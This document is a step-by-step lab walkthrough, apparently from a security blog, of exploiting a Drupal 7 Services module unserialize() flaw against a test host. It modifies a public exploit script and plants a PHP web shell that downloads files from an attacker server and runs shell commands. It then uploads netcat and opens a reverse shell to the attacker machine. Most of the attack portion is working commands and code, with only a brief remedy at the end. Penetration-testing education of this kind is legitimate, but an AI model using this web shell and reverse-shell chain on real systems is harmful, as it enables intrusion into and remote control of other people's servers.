Drupal has an insecure use of unserialize(). The exploitation of the vulnerability allowed for privilege escalation, SQL injection and, finally, remote code execution. (https://www.ambionics.io/blog/drupal-services-module-rce)

We will use Exploit db code to exploit this vulnerability. (https://www.exploit-db.com/exploits/41564)

Exploit

1. Determine the version of drupal. For this we can access CHANGELOG.txt from the browser, this is a drupal document

  • http://10.10.10.9/CHANGELOG.txt

Note: This is a 7.54 version.

2. We can use searchsploit to find any associated exploit

  • searchsploit drupal 7

3. We will now download that script into our /home/vry4n/Desktop directory

  • searchsploit -m php/webapps/41564.php

4. We will modify the code first, I highlighted the part we need to modify

  • vi 41564.php

5. First we will confirm that $endpoint_path exists by visiting the browser

  • http://10.10.10.9/rest_endpoint
  • 404 not found

  • http://10.10.10.9/rest
  • 200 OK (found)

6. We will edit as follows

$url = ‘http://10.10.10.9’;

$endpoint_path = ‘/rest’;

$endpoint = ‘rest_endpoint’;

$file = [

    ‘filename’ => ‘test.php’,

    ‘data’ => ‘<?php echo “Vry4n was here!!”; ?>’

];

7. We may need to install php-curl

  • sudo apt-get install php-curl

ERROR we get before installing php-curl

8. Execute the script

  • php 41564.php

9. The code executed successfully and it is telling us to visit http://10.10.10.9/test.php

  • http://10.10.10.9/test.php

10. We got the file created, and, executed within the remote Drupal server

11. We will now create a file that is able to upload new files and execute commands. We will include the following code to our script 41564.php

$phpCode = <<<‘EOD’

<?php

    if (isset($_REQUEST[‘fupload’])) {

        file_put_contents($_REQUEST[‘fupload’], file_get_contents(“http://10.10.14.12:8888/” . $_REQUEST[‘fupload’]));

    };

    if (isset($_REQUEST[‘fexec’])) {

        echo “<pre>” . shell_exec($_REQUEST[‘fexec’]) . “</pre>”;

    };

?>

EOD;

$file = [

‘filename’ => ‘vry4n.php’,

‘data’ => $phpCode

];

  • vi 41564.php

12. Now we run the script again to upload the new file

  • php 41564.php

13. At this point the file vry4n.php has been uploaded, we can use 2 variables fupload & fexec. We will use first fexec to test basic commands

  • http://10.10.10.9/vry4n.php?fexec=dir

14. Now that we can execute commands, we can test fupload functionality. We will upload an image. First we need to start a web server and use the same settings as we wrote in the script

  • python3.9 -m http.server 8888

15. We need to now go to the browser, use the fupload variable

  • http://10.10.10.9/vry4n.php?fupload=vk9sec.jpg
  • http:// 10.10.10.9/vk9sec.jpg

16. We can now gather information about the system, before we execute any further instruction.

  • http://10.10.10.9/vry4n.php?fexec=systeminfo

Note: We got a x64 bit system, Microsoft Windows Server 2008 R2 Datacenter, without patches

17. We will now download a x64 netcat for Windows from https://eternallybored.org/misc/netcat/

  • unzip netcat-win32-1.11.zip
  • cd netcat-1.11 && ls
  • python3.9 -m http.server 8888

18. Now start a local listener

  • nc -lvp 7777

19. From the browser use fupload variable to upload netcat & fexec to execute it

  • http://10.10.10.9/vry4n.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.14.12 7777

20. We see our web server 200 OK for the download of nc64.exe

21. Checking the listener, we should now see a reverse shell after execution

Remedy

Upgrade Drupal software version

Categories: Windows Exploitation

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